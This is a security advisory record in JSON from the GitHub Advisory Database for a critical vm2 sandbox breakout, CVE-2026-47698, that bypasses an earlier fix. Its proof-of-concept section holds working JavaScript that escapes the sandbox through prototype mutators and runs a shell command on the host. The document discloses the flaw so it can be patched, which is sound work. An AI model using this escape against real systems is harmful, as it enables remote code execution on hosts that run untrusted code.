{"id":"GHSA-cfcw-xp6x-25gj","revision":"b0fd8d75a49444fd9edf8caa37e48caa","records":[{"revision":"b0fd8d75a49444fd9edf8caa37e48caa","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-cfcw-xp6x-25gj","aliases":["CVE-2026-47698"],"title":"vm2: Sandbox Breakout Using Dangerous Host Proto Mutators","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.\n\n### PoC\n\n```js\nconst {VM} = require(\".\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, \"__proto__\");\nconst setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, \"__proto__\");\n\nasync function f() {\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);\n  }\n\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    e.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n  }\n}\n\nf();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","state":0,"publishedAt":"2026-08-17T17:32:41+00:00","modifiedAt":"2026-08-17T17:56:03.510751+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/3.11.6"],"sourceUrl":"https://github.com/advisories/GHSA-cfcw-xp6x-25gj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-cfcw-xp6x-25gj","identifiers":["GHSA-cfcw-xp6x-25gj","CVE-2026-47698"]},"retained":false,"historicalAffected":[]}],"coverage":[]}